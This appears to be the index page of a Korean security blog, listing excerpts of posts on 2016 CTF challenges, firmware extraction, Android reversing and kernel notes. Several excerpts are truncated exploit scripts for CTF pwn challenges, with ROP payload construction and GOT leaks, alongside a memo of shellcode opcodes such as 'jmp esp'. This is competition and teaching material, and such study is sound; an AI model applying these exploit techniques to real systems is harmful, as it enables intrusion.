본문 바로가기
728x90

Security98

[exploit] 2016 33c3 CTF - babyfengshui #!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( " 2016. 12. 30.
[crypto] 2016 SecconCTF - Vigenere writeups [문제] Vigenere k: ???????????? p: SECCON{???????????????????????????????????} c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe [풀이] import md5 p = "SECCON{???????????????????????????????????}" c = 'LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ' m = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}" a = [] for i in range(len(p[:7])): for j in range.. 2016. 12. 12.
[exploit] 2016 SecconCTF - jmper writeups (exploit only) #!/usr/bin/env python import socket import telnetlib import struct from collections import deque p = lambda x: struct.pack( " 2016. 12. 11.
[exploit] 2016 SecconCTF - cheer_msg writeups (exploit only) #!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( "" ) s.send( "-150\n" ) u_recv( "Message >>" ) pay = p( printf_plt ) pay += p( pppr ) pay += p( 0x804887d ) # \nThank you %s!\nMessage : %s\n pay += p( setbuf_got ) pay += p( setbuf_got ) pay += p( 0x80485ca ) # main s.send( pay+"\n" ) data = u_recv( "Message : " ) data = u_recv( "Message : " ) data = d.. 2016. 12. 11.
[exploit] 2016 SecconCTF - checker writeups (exploit only) #!/usr/bin/env python import socket host = 'localhost' host = "checker.pwn.seccon.jp" port = 1120 port = 14726 s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) s.connect( ( host, port ) ) def u_recv( st ): bf = '' while st not in bf: bf += s.recv( 1 ) return bf print u_recv( "NAME :" ) s.send( "name\n" ); for i in range( 0x180, 0x170, -1 ): u_recv( ">>" ) pay = ("a"*i)+"\n.. 2016. 12. 11.
공유기 펌웨어 추출 1. binwalk명령어를 사용하여 파일시스템 오프셋 확인 명령어 : binwalk [binary] 아래의 사진을 보면 " Squashfs filesystem, little endian, version 4.0, c"라는 파일시스템이 offset 1345582에 위치한 것을 확인할 수 있다. 2. dd 명령어로 파일시스템 추출 명령어 : dd if=binary of=output bs=1 skip=[filesystem offset] file명령어로 output파일을 확인한 결과 Squashfs 파일이 정상적으로 추출된 것을 확인할 수 있다. 3. 파일시스템 mount 명령어 : unsquashfs output squashfs-root디렉토리가 생성되었고 내부에 각 파일들이 존재한다. # Download &#.. 2016. 5. 13.
입력 함수별 입력받지 못하는 값 exploit 문제나 개발할 경우 데이터를 입력했는데 buffer에 들어가지 않은 경우가 종종 있을겁니다. 각 함수별로 어떠한 값들을 받지 않는지 간단히 정리했습니다 :D - scanf( "%s", buf ); : \x09, \x0a, \x0b, \x0c, \x0d, \x20 전까지 입력받고 종료 : 위의 값들은 버퍼에 들어가지 않음 - gets( buf ); : \x0a 전까지 입력받고 종료 : \x0a는 버퍼에 들어가지 않음 - fgets( buf, size, stdin ) : \x0a 까지 입력받고 입력 종료 : 모든값 입력 가능 - read( fd, buf, size ) : \x0a 까지 입력받고 입력 종료 : 모든값 입력 가능 2016. 4. 27.
[안드로이드] 안드로이드 리버싱 본 자료는 경남권 정보보안 포럼인, 시원포럼에서 발표한 자료입니다. 앱 추출부터 리패키징까지 내용을 다뤘습니다!! :D 이해 안되는 부분이 있으면 댓글을 달아주시구요~ 분석하는데 도움이 되었으면 좋겠네요ㅎㅎ 2015. 12. 12.
[memo] 자주 쓰는 OPCODE jmp esp ff e4 jmp $$ eb fenop 90 - thumb mode( opcode가 2byte )jmp $$ fe e7nop 00 00 - arm mode( opcode가 4byte )jmp $$ fe ff ff ea 2015. 12. 10.
[Ubuntu] apt-get install 오류 apt를 이용하여 프로그램을 설치할때 간혹 아래와 같은 에러가 발생하고는 합니다. 저 같은 경우는 jpcap때문에 문제가 생겼지만, 이건 경우마다 다르구요!! You might want to run 'apt-get -f install' to correct these. The following packages have unmet dependencies: jpcap:i386 : Depends: sun-java6-jdk:i386 but it is not installable Depends: libpcap0.8:i386 but it is not installed E: Unmet dependencies. Try using -f. 아무튼 "E: Unmet dependencies. Try using -f"이런 오류가.. 2015. 11. 9.
커널모듈에서 프로세스 이름으로 PID얻기 task구조체의 멤버변수인 comm에 프로세스 이름이 저장되어있으며, strcmp로 비교하여 프로세스명이 동일하게 되면 task->pid를 출력하면 된다. #include int getPID( void ) { unsigned long pid = 0; struct task_struct *task; for_each_process( task ){ if( (strcmp(task->comm, "target")) == 0 ) pid = task->pid; } return pid; } 2015. 10. 23.
4단계 페이지에서의 가상 메모리맵 0000000000000000 - 00007fffffffffff (=47 bits) user space, different per mmhole caused by [48:63] sign extension ffff800000000000 - ffff87ffffffffff (=43 bits) guard hole, reserved for hypervisor ffff880000000000 - ffffc7ffffffffff (=64 TB) direct mapping of all phys. memory ffffc80000000000 - ffffc8ffffffffff (=40 bits) hole ffffc90000000000 - ffffe8ffffffffff (=45 bits) vmalloc/ioremap space f.. 2015. 10. 23.
728x90